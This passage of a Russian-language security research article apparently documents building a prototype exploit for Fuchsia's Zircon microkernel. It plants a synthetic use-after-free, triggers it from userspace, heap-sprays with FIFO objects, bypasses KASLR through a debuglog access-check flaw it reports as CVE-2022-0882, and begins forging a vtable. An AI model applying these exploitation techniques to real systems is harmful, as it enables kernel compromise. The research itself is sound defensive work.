  1. Разрешаем выполнение GDB-скрипта для Zircon. Он предоставляет следующие функции:

  • Адаптация к рандомизации адресного пространства ядра (KASLR) для корректного размещения точек останова (breakpoints).

  • Специальные команды GDB с префиксом zircon.

  • Улучшенное отображение сообщений об отказах микроядра Zircon.

$ cat ~/.gdbinit add-auto-load-safe-path /home/a13x/develop/fuchsia/src/fuchsia/out/default/kernel_x64/zircon.elf-gdb.py
  1. Запускаем GDB-клиент и подключаемся к GDB-серверу виртуальной машины с Fuchsia:

$ cd /home/a13x/develop/fuchsia/src/fuchsia/out/default/ $ gdb kernel_x64/zircon.elf (gdb) target extended-remote :1234

Эта процедура позволяет отлаживать микроядро Zircon в GDB, как мы привыкли это делать с ядром Linux. Однако на моей машине упомянутый GDB-скрипт для Zircon безнадежно зависал при каждом запуске — пришлось разбираться. Оказалось, что он вызывает GDB-команду add-symbol-file с параметром -readnow, который требует от отладчика немедленно обработать все символы из 110-мегабайтного исполняемого файла Zircon. По какой-то причине у GDB не получается сделать это за обозримое время, и кажется, будто отладчик завис. Без параметра -readnow проблема исчезла, и я получил нормальную отладку микроядра Zircon в GDB:

diff --git a/zircon/kernel/scripts/zircon.elf-gdb.py b/zircon/kernel/scripts/zircon.elf-gdb.py index d027ce4af6d..8faf73ba19b 100644 --- a/zircon/kernel/scripts/zircon.elf-gdb.py +++ b/zircon/kernel/scripts/zircon.elf-gdb.py @@ -798,3 +798,3 @@ def _offset_symbols_and_breakpoints(kernel_relocated_base=None):      # Reload the ELF with all sections set -    gdb.execute("add-symbol-file \"%s\" 0x%x -readnow %s" \ +    gdb.execute("add-symbol-file \"%s\" 0x%x %s" \                  % (sym_path, text_addr, " ".join(args)), to_string=True)

Подбираемся к безопасности Fuchsia: включение KASAN

KASAN (Kernel Address SANitizer) — это технология обнаружения повреждения ядерной памяти. Она позволяет находить выход за границу массива (out-of-bounds accesses) и использование памяти после освобождения (use after free). В Fuchsia поддерживается компиляция микроядра Zircon с инструментацией KASAN. Я решил испробовать эту функциональность и собрал Fuchsia в варианте core product:

$ fx set core.x64 --with-base //bundles:tools --with-base //src/a13x-pwns-fuchsia --variant=kasan $ fx build

Чтобы протестировать, как KASAN ловит повреждения ядерной памяти, я добавил синтетическую ошибку освобождения памяти в код Fuchsia, работающий с объектом TimerDispatcher:

diff --git a/zircon/kernel/object/timer_dispatcher.cc b/zircon/kernel/object/timer_dispatcher.cc index a83b750ad4a..14535e23ca9 100644 --- a/zircon/kernel/object/timer_dispatcher.cc +++ b/zircon/kernel/object/timer_dispatcher.cc @@ -184,2 +184,4 @@ void TimerDispatcher::OnTimerFired() {   +  bool uaf = false; +    { @@ -187,2 +189,6 @@ void TimerDispatcher::OnTimerFired() {   +    if (deadline_ % 100000 == 31337) { +      uaf = true; +    } +      if (cancel_pending_) { @@ -210,3 +216,3 @@ void TimerDispatcher::OnTimerFired() {    // ourselves. -  if (Release()) +  if (Release() || uaf)      delete this;

Если таймер выставляется на задержку, значение которой заканчивается цифрами 31337, то память объекта TimerDispatcher освобождается вне зависимости от счетчика ссылок (refcount). Я захотел спровоцировать эту ядерную ошибку из моего компонента в пользовательском пространстве, чтобы увидеть, как ядро уходит в отказ и отображает отчет KASAN. Для этого я добавил следующий код в мой компонент a13x-pwns-fuchsia:

  zx_status_t status;   zx_handle_t timer;   zx_time_t deadline;    status = zx_timer_create(ZX_TIMER_SLACK_LATE, ZX_CLOCK_MONOTONIC, &timer);   if (status != ZX_OK) {     printf("[-] creating timer failed\n");     return 1;   }    printf("[+] timer is created\n");    deadline = zx_deadline_after(ZX_MSEC(500));   deadline = deadline - deadline % 100000 + 31337;   status = zx_timer_set(timer, deadline, 0);   if (status != ZX_OK) {     printf("[-] setting timer failed\n");     return 1;   }    printf("[+] timer is set with deadline %ld\n", deadline);   fflush(stdout);   zx_nanosleep(zx_deadline_after(ZX_MSEC(800))); // timer fired    zx_timer_cancel(timer); // hit UAF

Здесь компонент сначала выполняет системный вызов zx_timer_create(). Он инициализирует таймер и возвращает в пользовательское пространство специальный указатель на него (handle), имеющий тип zx_handle_t. Затем для таймера устанавливается задержка, значение которой заканчивается «элитными» цифрами 31337. Пока программа ожидает на вызове zx_nanosleep(), Zircon освобождает память сработавшего таймера. А последующий системный вызов zx_timer_cancel() для удаленного таймера приводит к использованию памяти после освобождения.

KASAN обнаруживает повреждение ядерной памяти и уводит микроядро в отказ при выполнении этого кода в пользовательском пространстве. Вместе с тем в ядерном логе распечатывается вот такой замечательный отчет:

ZIRCON KERNEL PANIC  UPTIME: 17826ms, CPU: 2 ...  KASAN detected a write error: ptr={data:0xffffff806cd31ea8}, size=0x4, caller: {pc:0xffffffff003c169a} Shadow memory state around the buggy address 0xffffffe00d9a63d5: 0xffffffe00d9a63c0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xffffffe00d9a63c8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xffffffe00d9a63d0: 0xfa 0xfa 0xfa 0xfa 0xfd 0xfd 0xfd 0xfd                                               ^^            0xffffffe00d9a63d8: 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd 0xffffffe00d9a63e0: 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd  *** KERNEL PANIC (caller pc: 0xffffffff0038910d, stack frame: 0xffffff97bd72ee70): ...  Halted entering panic shell loop ! 

Отлично, KASAN работает. Zircon также выводит трассу исполнения (backtrace), но в нечитаемом виде, как цепочку ядерных указателей. Чтобы это исправить, нужно обработать содержимое ядерного журнала с помощью специального инструмента:

$ cat crash.txt | fx symbolize > crash_sym.txt

Вот как трасса исполнения выглядит после fx symbolize:

dso: id=58d07915d755d72e base=0xffffffff00100000 name=zircon.elf    #0    0xffffffff00324b7d in platform_specific_halt(platform_halt_action, zircon_crash_reason_t, bool) ../../zircon/kernel/platform/pc/power.cc:154 <kernel>+0xffffffff80324b7d    #1    0xffffffff005e4610 in platform_halt(platform_halt_action, zircon_crash_reason_t) ../../zircon/kernel/platform/power.cc:65 <kernel>+0xffffffff805e4610    #2.1  0xffffffff0010133e in $anon::PanicFinish() ../../zircon/kernel/top/debug.cc:59 <kernel>+0xffffffff8010133e    #2    0xffffffff0010133e in panic(const char*) ../../zircon/kernel/top/debug.cc:92 <kernel>+0xffffffff8010133e    #3    0xffffffff0038910d in asan_check(uintptr_t, size_t, bool, void*) ../../zircon/kernel/lib/instrumentation/asan/asan-poisoning.cc:180 <kernel>+0xffffffff8038910d    #4.4  0xffffffff003c169a in std::__2::__cxx_atomic_fetch_add<int>(std::__2::__cxx_atomic_base_impl<int>*, int, std::__2::memory_order) ../../prebuilt/third_party/clang/linux-x64/include/c++/v1/atomic:1002 <kernel>+0xffffffff803c169a    #4.3  0xffffffff003c169a in std::__2::__atomic_base<int, true>::fetch_add(std::__2::__atomic_base<int, true>*, int, std::__2::memory_order) ../../prebuilt/third_party/clang/linux-x64/include/c++/v1/atomic:1686 <kernel>+0xffffffff803c169a    #4.2  0xffffffff003c169a in fbl::internal::RefCountedBase<true>::AddRef(const fbl::internal::RefCountedBase<true>*) ../../zircon/system/ulib/fbl/include/fbl/ref_counted_internal.h:39 <kernel>+0xffffffff803c169a    #4.1  0xffffffff003c169a in fbl::RefPtr<Dispatcher>::operator=(const fbl::RefPtr<Dispatcher>&, fbl::RefPtr<Dispatcher>*) ../../zircon/system/ulib/fbl/include/fbl/ref_ptr.h:89 <kernel>+0xffffffff803c169a    #4    0xffffffff003c169a in HandleTable::GetDispatcherWithRightsImpl<TimerDispatcher>(HandleTable*, zx_handle_t, zx_rights_t, fbl::RefPtr<TimerDispatcher>*, zx_rights_t*, bool) ../../zircon/kernel/object/include/object/handle_table.h:243 <kernel>+0xffffffff803c169a    #5.2  0xffffffff003d3f02 in HandleTable::GetDispatcherWithRights<TimerDispatcher>(HandleTable*, zx_handle_t, zx_rights_t, fbl::RefPtr<TimerDispatcher>*, zx_rights_t*) ../../zircon/kernel/object/include/object/handle_table.h:108 <kernel>+0xffffffff803d3f02    #5.1  0xffffffff003d3f02 in HandleTable::GetDispatcherWithRights<TimerDispatcher>(HandleTable*, zx_handle_t, zx_rights_t, fbl::RefPtr<TimerDispatcher>*) ../../zircon/kernel/object/include/object/handle_table.h:116 <kernel>+0xffffffff803d3f02    #5    0xffffffff003d3f02 in sys_timer_cancel(zx_handle_t) ../../zircon/kernel/lib/syscalls/timer.cc:67 <kernel>+0xffffffff803d3f02    #6.2  0xffffffff003e1ef1 in λ(const wrapper_timer_cancel::(anon class)*, ProcessDispatcher*) gen/zircon/vdso/include/lib/syscalls/kernel-wrappers.inc:1170 <kernel>+0xffffffff803e1ef1    #6.1  0xffffffff003e1ef1 in do_syscall<(lambda at gen/zircon/vdso/include/lib/syscalls/kernel-wrappers.inc:1169:85)>(uint64_t, uint64_t, bool (*)(uintptr_t), wrapper_timer_cancel::(anon class)) ../../zircon/kernel/lib/syscalls/syscalls.cc:106 <kernel>+0xffffffff803e1ef1    #6    0xffffffff003e1ef1 in wrapper_timer_cancel(SafeSyscallArgument<unsigned int, true>::RawType, uint64_t) gen/zircon/vdso/include/lib/syscalls/kernel-wrappers.inc:1169 <kernel>+0xffffffff803e1ef1    #7    0xffffffff005618e8 in gen/zircon/vdso/include/lib/syscalls/kernel.inc:1103 <kernel>+0xffffffff805618e8

Здесь можно видеть, что обработчик wrapper_timer_cancel() системного вызова выполняет функцию sys_timer_cancel(), где GetDispatcherWithRightsImpl<TimerDispatcher>() обращается ко счетчику ссылок (reference counter), расположенному в освобожденной памяти объекта TimerDispatcher. Эта ошибка обнаруживается в функции asan_check(), принадлежащей механизму KASAN. В итоге работа ядра прерывается с помощью вызова panic().

Эта трасса исполнения детально описывает, как на самом деле работает код функции sys_timer_cancel():

// zx_status_t zx_timer_cancel zx_status_t sys_timer_cancel(zx_handle_t handle) {   auto up = ProcessDispatcher::GetCurrent();    fbl::RefPtr<TimerDispatcher> timer;   zx_status_t status = up->handle_table().GetDispatcherWithRights(handle, ZX_RIGHT_WRITE, &timer);   if (status != ZX_OK)     return status;    return timer->Cancel(); }

Когда я получил работающий KASAN для Fuchsia, я почувствовал, что готов начать исследование с позиции атакующего.

syzkaller для Fuchsia (сломан)

После изучения основ ядерной разработки Fuchsia и тестирования KASAN я приступил к экспериментам с безопасностью. Я поставил цель — разработать прототип эксплойта для уязвимости в Zircon, и в первую очередь мне нужно было найти подходящую уязвимость. Для поиска я решил использовать фаззинг.

Есть прекрасный фаззер для ядер операционных систем, который называется syzkaller. Мне очень нравится этот проект, я уже давно использую его для фаззинга ядра Linux. В документации говорится, что syzkaller поддерживает фаззинг Fuchsia, поэтому я сразу решил это попробовать.

Однако возникли трудности из-за необычной схемы доставки ПО для Fuchsia, о которой говорилось выше. Системный образ Fuchsia для фаззинга должен содержать программу syz-executor в качестве компонента. syz-executor — это часть проекта syzkaller, которая отвечает за выполнение фаззинга системных вызовов в виртуальной машине. Мне не удалось собрать образ Fuchsia с этим компонентом.

Вначале я попробовал скомпилировать Fuchsia с исходниками syzkaller, размещенными во внешней директории. Этот способ не сработал, хотя он рекомендуется в документации:

$ fx --dir "out/x64" set core.x64 \   --with-base "//bundles:tools" \   --with-base "//src/testing/fuzzing/syzkaller" \   --args=syzkaller_dir='"/home/a13x/develop/gopath/src/github.com/google/syzkaller/"' ERROR at //build/go/go_library.gni:43:3 (//build/toolchain:host_x64): Assertion failed.    assert(defined(invoker.sources), "sources is required for go_library")    ^----- sources is required for go_library See //src/testing/fuzzing/syzkaller/BUILD.gn:106:3: whence it was called.    go_library("syzkaller-go") {    ^--------------------------- See //src/testing/fuzzing/syzkaller/BUILD.gn:85:5: which caused the file to be included.      ":run-sysgen($host_toolchain)",      ^----------------------------- ERROR: error running gn gen: exit status 1

Я попытался отладить систему сборки Fuchsia и выяснил, что она неправильно обрабатывает аргумент syzkaller_dir, но починить это мне не удалось.

Затем я обнаружил, что в исходном коде Fuchsia в директории third_party/syzkaller/ хранится локальная копия исходников syzkaller. Система сборки использует ее, если не задан аргумент --args=syzkaller_dir, но эта копия syzkaller старая: в ней отсутствуют все коммиты после 2 июня 2020 года. Я попробовал собрать текущую версию Fuchsia с этой старой версией фаззера, что также не удалось сделать из-за перемещения файлов и множества изменений в системных вызовах Fuchsia, которые произошли с того момента.

Тогда я попробовал обновить версию фаззера в директории third_party/syzkaller/ в надежде, что свежие коммиты в репозитории syzkaller помогут синхронизироваться с текущей версией Fuchsia. Но эта затея также провалилась, потому что для сборки актуальной версии syz-executor требуется внести значительные изменения в его сборочный файл BUILD.gn.

В итоге ситуация выглядит так: интеграция операционной системы Fuchsia с фаззером syzkaller, возможно, и работала когда-то в 2020 году, но сейчас она сломана. По истории разработки Fuchsia в системе контроля версий я нашел авторов этого кода и отправил им электронное письмо, в котором детально описал все обнаруженные неполадки и попросил помощи, но ответа не получил.

Чем больше времени я тратил на борьбу с системой сборки Fuchsia, тем больше начинал сердиться.

Трудный выбор дальнейшей стратегии

Тогда я крепко задумался о стратегии моих дальнейших исследований.

В. М. Васнецов. «Витязь на распутье». 1882 год
В. М. Васнецов. «Витязь на распутье». 1882 год

Без фаззинга для успешного поиска уязвимостей обязательно требуются:

  1. хорошее знание кодовой базы атакуемой системы;

  2. глубокое понимание ее периметра атаки.

Чтобы приобрести эти знания об операционной системе Fuchsia, мне пришлось бы потратить много времени и сил. Хотел ли я этого при моем первом знакомстве с Fuchsia? Пожалуй, нет, потому что:

  • неразумно тратить большое количество ресурсов на первое ознакомительное исследование;

  • по первому впечатлению, Fuchsia оказалась менее подготовлена к промышленному использованию, чем я ожидал.

Поэтому скрепя сердце я решил пока не жадничать и отложить поиск уязвимостей нулевого дня (zero-day) в микроядре Zircon. Вместо этого я задумал разработать прототип эксплойта для той синтетической уязвимости, которую я использовал при тестировании KASAN. В конечном итоге это оказалось удачным решением, поскольку я относительно быстро получил результат, а также смог найти несколько проблем безопасности в Zircon.

Нам нужен спрей!

Таким образом, я сосредоточился на эксплуатации использования памяти после освобождения для объекта TimerDispatcher. Моя стратегия состояла в том, чтобы перезаписать освобожденный TimerDispatcher контролируемыми данными и тем самым спровоцировать нештатную работу микроядра Zircon, которой я как атакующий смогу управлять.

В первую очередь для перезаписи объекта TimerDispatcher мне нужно было реализовать технику эксплуатации heap spraying, которая:

  1. может быть использована атакующим из непривилегированного кода в пользовательском пространстве;

  2. заставляет Zircon выделить множество новых ядерных объектов (вот почему это называется спреем), один из которых с большой вероятностью попадет на место освобожденного;

  3. заставляет Zircon наполнить этот новый ядерный объект данными атакующего, скопированными из пользовательского пространства.

Из своего опыта эксплуатации уязвимостей для ядра Linux я знал, что heap spraying обычно конструируется с помощью средств межпроцессного взаимодействия (IPC). Базовые системные вызовы, предоставляющие IPC, доступны непривилегированным программам, что соответствует первому из трех названных мной свойств heap spraying. Такие системные вызовы копируют пользовательские данные в адресное пространство ядра, чтобы затем передать их получателю, — это свойство номер три. И, наконец, некоторые системные вызовы, предоставляющие IPC, позволяют задавать размер передаваемых данных, что дает атакующему возможность контролировать поведение ядерного аллокатора и позволяет перезаписать освобожденный целевой объект, — это соответствует свойству номер два.

Чтобы сконструировать heap spraying для микроядра Zircon, я принялся изучать его системные вызовы, предоставляющие IPC, и отыскал Zircon FIFO. Это очереди для передачи сообщений, с помощью которых отлично получилось реализовать технику heap spraying. Когда выполняется системный вызов zx_fifo_create(), Zircon создает пару объектов FifoDispatcher (этот код можно посмотреть в файле zircon/kernel/object/fifo_dispatcher.cc). Для каждого из них выделяется запрашиваемое количество ядерной памяти под данные:

  auto data0 = ktl::unique_ptr<uint8_t[]>(new (&ac) uint8_t[count * elemsize]);   if (!ac.check())     return ZX_ERR_NO_MEMORY;    KernelHandle fifo0(fbl::AdoptRef(       new (&ac) FifoDispatcher(ktl::move(holder0), options, static_cast<uint32_t>(count),                                static_cast<uint32_t>(elemsize), ktl::move(data0))));   if (!ac.check())     return ZX_ERR_NO_MEMORY;

С помощью отладчика я определил, что размер освобожденного объекта TimerDispatcher составляет 248 байт. Я попробовал создать несколько FIFO-объектов такого же размера, и это сработало: в отладчике я увидел, что TimerDispatcher перезаписан данными одного из объектов FifoDispatcher! Вот код, выполняющий heap spraying в моем прототипе эксплойта:

  printf("[!] do heap spraying...\n");  #define N 10   zx_handle_t out0[N];   zx_handle_t out1[N];   size_t write_result = 0;    for (int i = 0; i < N; i++) {     status = zx_fifo_create(31, 8, 0, &out0[i], &out1[i]);     if (status != ZX_OK) {       printf("[-] creating a fifo %d failed\n", i);       return 1;     }   }

Здесь системный вызов zx_fifo_create() выполняется десять раз. При каждом вызове создается пара очередей из 31 элемента по 8 байт. То есть при выполнении этого кода в ядре создается 20 объектов FifoDispatcher с буферами данных размером 248 байт. Zircon размещает один из этих буферов на месте освобожденного TimerDispatcher, который имел такой же размер.

Далее очереди наполняются данными, специально подготовленными для перезаписи содержимого объекта TimerDispatcher: их называют heap spraying payload.

  for (int i = 0; i < N; i++) {     status = zx_fifo_write(out0[i], 8, spray_data, 31, &write_result);     if (status != ZX_OK || write_result != 31) {       printf("[-] writing to fifo 0-%d failed, error %d, result %zu\n", i, status, write_result);       return 1;     }     status = zx_fifo_write(out1[i], 8, spray_data, 31, &write_result);     if (status != ZX_OK || write_result != 31) {       printf("[-] writing to fifo 1-%d failed, error %d, result %zu\n", i, status, write_result);       return 1;     }   }    printf("[+] heap spraying is finished\n");

Хорошо. Я получил возможность изменить содержимое ядерного объекта TimerDispatcher. Но что же нужно в него записать, чтобы атаковать Zircon?

Анатомия объекта в C++

Я привык к тому, что в Linux ядерные объекты описываются структурами на языке C. Метод ядерного объекта там может быть реализован с помощью указателя на функцию, который хранится в поле соответствующей структуры. Поэтому раскладка данных объекта в памяти ядра Linux обычно простая и наглядная.

Когда же я стал изучать внутреннее устройство C++-объектов микроядра Zircon, их раскладка в памяти показалась мне более сложной и запутанной. Я решил разобраться с анатомией объекта TimerDispatcher и попробовал распечатать его в отладчике с помощью команды print -pretty on -vtbl on. В ответ GDB вывел огромную иерархию вложенных друг в друга классов, которую мне не удалось соотнести с конкретными байтами в ядерной памяти. Затем для класса TimerDispatcher я попробовал применить утилиту pahole. Получилось лучше: она распечатала отступы полей внутри классов, но не помогла мне понять, как там реализованы методы. Наследование классов сильно усложняло всю картину.

Тогда я решил не тратить время на изучение анатомии объекта TimerDispatcher и вместо этого пошел напролом. С помощью heap spraying я заменил все содержимое TimerDispatcher нулями и стал смотреть, что произойдет. Микроядро Zircon ушло в отказ на проверке счетчика ссылок в zircon/system/ulib/fbl/include/fbl/ref_counted_internal.h:57:

    const int32_t rc = ref_count_.fetch_add(1, std::memory_order_relaxed);      //...     if constexpr (EnableAdoptionValidator) {       ZX_ASSERT_MSG(rc >= 1, "count %d(0x%08x) < 1\n", rc, static_cast<uint32_t>(rc));     }

Это не проблема. С помощью отладчика я определил, что этот счетчик хранится по отступу в 8 байт от начала объекта TimerDispatcher. Чтобы Zircon не падал на данной проверке, я задал ненулевое значение в соответствующем байте для heap spraying:

  unsigned int *refcount_ptr = (unsigned int *)&spray_data[8];    *refcount_ptr = 0x1337C0DE;

Тогда запуск прототипа эксплойта на Fuchsia прошел дальше по коду ядра и окончился уже другим падением Zircon, которое оказалось более интересным с точки зрения атакующего. Микроядро выполнило разыменование нулевого указателя в функции HandleTable::GetDispatcherWithRights<TimerDispatcher>. Пошаговая отладка в GDB помогла мне выяснить, что ошибка происходит вот в этом чародействе на C++:

// Dispatcher -> FooDispatcher template <typename T> fbl::RefPtr<T> DownCastDispatcher(fbl::RefPtr<Dispatcher>* disp) {   return (likely(DispatchTag<T>::ID == (*disp)->get_type()))              ? fbl::RefPtr<T>::Downcast(ktl::move(*disp))              : nullptr; }

Здесь Zircon вызывает публичный метод get_type() для класса TimerDispatcher. Адрес этой функции определяется с помощью таблицы виртуальных методов (или C++ vtable). Указатель на такую таблицу находится в самом начале объекта TimerDispatcher. Эту функциональность можно использовать для перехвата потока управления (control-flow hijacking), и тогда не нужно искать подходящие ядерные объекты, содержащие указатели на функции (как это требуется в аналогичных атаках для ядра Linux).

Обход защиты KASLR для Zircon

Для перехвата потока управления нужно знать адреса ядерных функций, которые зависят от KASLR — защитного механизма, выполняющего рандомизацию расположения адресного пространства ядра (kernel address space layout randomization). С его помощью код ядра располагается по случайному отступу от фиксированного адреса. В исходном коде Zircon механизм KASLR упоминается множество раз. Вот пример из файла zircon/kernel/params.gni:

  # Virtual address where the kernel is mapped statically.  This is the   # base of addresses that appear in the kernel symbol table.  At runtime   # KASLR relocation processing adjusts addresses in memory from this base   # to the actual runtime virtual address.   if (current_cpu == "arm64") {     kernel_base = "0xffffffff00000000"   } else if (current_cpu == "x64") {     kernel_base = "0xffffffff80100000"  # Has KERNEL_LOAD_OFFSET baked into it.   }

Чтобы обойти защиту KASLR, я решил применить один из своих трюков для ядра Linux. Мой прототип эксплойта для CVE-2021-26708 использовал утечку информации из журнала ядра Linux, чтобы определить секретный отступ KASLR. В операционной системе Fuchsia ядерный журнал также содержит ценную информацию для атакующего. Поэтому я решил попытаться прочитать журнал микроядра Zircon из моего непривилегированного компонента в пользовательском пространстве. Для этого я добавил строку use: [ { protocol: "fuchsia.boot.ReadOnlyLog" } ] в манифест компонента и попробовал открыть ядерный журнал:

  zx::channel local, remote;   zx_status_t status = zx::channel::create(0, &local, &remote);   if (status != ZX_OK) {     fprintf(stderr, "Failed to create channel: %d\n", status);     return -1;   }    const char kReadOnlyLogPath[] = "/svc/" fuchsia_boot_ReadOnlyLog_Name;   status = fdio_service_connect(kReadOnlyLogPath, remote.release());   if (status != ZX_OK) {     fprintf(stderr, "Failed to connect to ReadOnlyLog: %d\n", status);     return -1;   }    zx_handle_t h;   status = fuchsia_boot_ReadOnlyLogGet(local.get(), &h);   if (status != ZX_OK) {     fprintf(stderr, "ReadOnlyLogGet failed: %d\n", status);     return -1;   }

В этом коде создается специальный канал (Fuchsia channel), который затем используется для протокола ReadOnlyLog. Для этого вызываются функции из библиотеки fdio, которая предоставляет единый интерфейс для файлов, сокетов, каналов, сервисов в Fuchsia. При запуске компонента система выдает следующую ошибку:

[ffx-laboratory:a13x_pwns_fuchsia] WARNING: Failed to route protocol `fuchsia.boot.ReadOnlyLog` with   target component `/core/ffx-laboratory:a13x_pwns_fuchsia`: A `use from parent` declaration was found   at `/core/ffx-laboratory:a13x_pwns_fuchsia` for `fuchsia.boot.ReadOnlyLog`, but no matching `offer`   declaration was found in the parent [ffx-laboratory:a13x_pwns_fuchsia] INFO: [!] try opening kernel log... [ffx-laboratory:a13x_pwns_fuchsia] INFO: ReadOnlyLogGet failed: -24

Это корректное поведение. Мой компонент не имеет заявленных привилегий. Со стороны системы нет разрешения offer на использование протокола fuchsia.boot.ReadOnlyLog, поэтому Fuchsia возвращает ошибку при подключении канала к ядерному журналу. Не судьба…

Я отбросил мысль об обходе KASLR с помощью утечки информации из ядерного журнала и стал бродить по исходному коду Zircon в ожидании новой идеи. Тут вдруг я наткнулся на системный вызов zx_debuglog_create(), который дает совсем другой способ доступа к ядерному журналу:

zx_status_t zx_debuglog_create(zx_handle_t resource,                                uint32_t options,                                zx_handle_t* out);

В документации по системным вызовам Fuchsia говорится, что аргумент resource обязательно должен иметь тип ZX_RSRC_KIND_ROOT. Мой прототип эксплойта, конечно же, не обладал таким ресурсом, но я все равно попробовал вызвать zx_debuglog_create() наудачу:

zx_handle_t root_resource; // global var initialized by 0  int main(int argc, const char** argv) {   zx_status_t status;   zx_handle_t debuglog;    status = zx_debuglog_create(root_resource, ZX_LOG_FLAG_READABLE, &debuglog);   if (status != ZX_OK) {     printf("[-] can't create debuglog, no way\n");     return 1;   }

И этот код сработал! Мой непривилегированный компонент получил доступ к журналу Zircon без необходимых привилегий и при отсутствии ресурса ZX_RSRC_KIND_ROOT. Что за чудеса? Я нашел код Fuchsia, который отвечает за обработку этого системного вызова, и рассмеялся:

zx_status_t sys_debuglog_create(zx_handle_t rsrc, uint32_t options, user_out_handle* out) {   LTRACEF("options 0x%x\n", options);    // TODO(fxbug.dev/32044) Require a non-INVALID handle.   if (rsrc != ZX_HANDLE_INVALID) {     // TODO(fxbug.dev/30918): finer grained validation     zx_status_t status = validate_resource(rsrc, ZX_RSRC_KIND_ROOT);     if (status != ZX_OK)       return status;   }

Здесь функция validate_resource() проверяет, что ресурс имеет тип ZX_RSRC_KIND_ROOT, только если он ненулевой. Прекрасная проверка доступа (сарказм)!

В трекере Fuchsia я хотел посмотреть задачи 32044 и 30918, которые указаны в комментариях к коду, но получил access denied. Похоже, процесс разработки Fuchsia не вполне открыт для сообщества, как было заявлено Google. Тогда я создал в трекере security bug и описал, что ошибка проверки доступа в sys_debuglog_create() приводит к утечке информации из ядерного журнала (для корректного отображения информации в трекере нажмите кнопку Markdown в правом верхнем углу). Мейнтейнеры проекта Fuchsia подтвердили проблему безопасности и назначили для нее идентификатор CVE-2022-0882.

Зря старался: KASLR для Zircon не работает

Поскольку мой прототип эксплойта теперь мог выполнять чтение ядерного журнала, я извлек из него несколько ядерных указателей, чтобы вычислить секретный отступ KASLR. Но как же я удивился, когда повторил эту операцию при следующем запуске Fuchsia.

Несмотря на KASLR, ядерные адреса не изменялись при перезапуске Fuchsia.

Ниже представлен пример. Как говорится, найдите пять отличий. Загрузка № 1:

[0.197] 00000:01029> INIT: cpu 0, calling hook 0xffffffff00263f20 (pmm_boot_memory) at level 0xdffff, flags 0x1 [0.197] 00000:01029> Free memory after kernel init: 8424374272 bytes. [0.197] 00000:01029> INIT: cpu 0, calling hook 0xffffffff00114040 (kernel_shell) at level 0xe0000, flags 0x1 [0.197] 00000:01029> INIT: cpu 0, calling hook 0xffffffff0029e300 (userboot) at level 0xe0000, flags 0x1 [0.200] 00000:01029> userboot: ramdisk       0x18c5000 @ 0xffffff8003bdd000 [0.201] 00000:01029> userboot: userboot rodata       0 @ [0x2ca730e3000,0x2ca730e9000) [0.201] 00000:01029> userboot: userboot code    0x6000 @ [0x2ca730e9000,0x2ca73100000) [0.201] 00000:01029> userboot: vdso/next rodata       0 @ [0x2ca73100000,0x2ca73108000)

Загрузка № 2:

[0.194] 00000:01029> INIT: cpu 0, calling hook 0xffffffff00263f20 (pmm_boot_memory) at level 0xdffff, flags 0x1 [0.194] 00000:01029> Free memory after kernel init: 8424361984 bytes. [0.194] 00000:01029> INIT: cpu 0, calling hook 0xffffffff00114040 (kernel_shell) at level 0xe0000, flags 0x1 [0.194] 00000:01029> INIT: cpu 0, calling hook 0xffffffff0029e300 (userboot) at level 0xe0000, flags 0x1 [0.194] 00000:01029> userboot: ramdisk       0x18c5000 @ 0xffffff8003bdd000 [0.198] 00000:01029> userboot: userboot rodata       0 @ [0x2bc8b83c000,0x2bc8b842000) [0.198] 00000:01029> userboot: userboot code    0x6000 @ [0x2bc8b842000,0x2bc8b859000) [0.198] 00000:01029> userboot: vdso/next rodata       0 @ [0x2bc8b859000,0x2bc8b861000)

Здесь видно, что ядерные адреса совпадают, то есть KASLR не работает. В трекере Fuchsia я создал security bug с описанием этой неполадки, на что мейнтейнеры ответили, что эта проблема им уже известна.

Операционная система Fuchsia оказалась более экспериментальной, чем я ожидал.

Таблицы виртуальных методов в Zircon

Обнаружив, что функции микроядра имеют постоянные адреса, я понял, что для перехвата потока управления нет препятствий. Поэтому я стал разбираться, как устроены таблицы виртуальных методов в C++-объектах Zircon, чтобы воспользоваться этим для развития атаки.

Указатель на таблицу виртуальных методов хранится в самом начале объекта. Вот что отладчик показывает для объекта TimerDispatcher:

(gdb) info vtbl *(TimerDispatcher *)0xffffff802c5ae768 vtable for 'TimerDispatcher' @ 0xffffffff003bd11c (subobject @ 0xffffff802c5ae768): [0]: 0xffdffe64ffdffd24 [1]: 0xffdcb5a4ffe00454 [2]: 0xffdffea4ffdc7824 [3]: 0xffd604c4ffd519f4 ...

В vtable хранятся странные значения типа 0xffdcb5a4ffe00454, определенно не являющиеся ядерными адресами. Чтобы понять, как это работает, я стал смотреть код, использующий таблицу виртуальных методов объекта TimerDispatcher:

// Dispatcher -> FooDispatcher template <typename T> fbl::RefPtr<T> DownCastDispatcher(fbl::RefPtr<Dispatcher>* disp) {   return (likely(DispatchTag<T>::ID == (*disp)->get_type()))              ? fbl::RefPtr<T>::Downcast(ktl::move(*disp))              : nullptr; }

В этой высокоуровневой мудрости на C++ я ничего не понял и стал смотреть код на языке ассемблера:

mov    rax,QWORD PTR [r13+0x0] movsxd r11,DWORD PTR [rax+0x8] add    r11,rax mov    rdi,r13 call   0xffffffff0031a77c <__x86_indirect_thunk_r11>

Здесь все проще. Регистр r13 содержит адрес объекта TimerDispatcher. Указатель на vtable находится в самом начале объекта, поэтому после первой инструкции mov он попадает в регистр rax. Затем инструкция movsxd помещает значение 0xffdcb5a4ffe00454 из таблицы виртуальных методов в регистр r11. При этом movsxd выполняет знаковое расширение 32-битного источника до 64-битного приемника. Таким образом 0xffdcb5a4ffe00454 превращается в 0xffffffffffe00454. Затем к получившемуся значению в r11 прибавляется адрес самой таблицы виртуальных методов. В результате этого сложения в регистре r11 оказывается адрес метода get_type():

(gdb) x $r11 0xffffffff001bd570 <_ZNK15TimerDispatcher8get_typeEv>:0x000016b8e5894855

Получается, таблица виртуальных методов адресует методы объекта относительно своего собственного расположения в памяти ядра.

Мастерим фальшивую таблицу виртуальных методов

Итак, я решил сконструировать фальшивую таблицу виртуальных методов для объекта TimerDispatcher, чтобы перехватить поток управления в микроядре Zircon. Возник вопрос: где мне ее разместить? Самый простой путь — расположить ее в пользовательском пространстве, в памяти эксплойта. Однако Zircon для x86_64 поддерживает аппаратную функцию SMAP (Supervisor Mode Access Prevention), которая блокирует ядру доступ к данным в пользовательском пространстве.

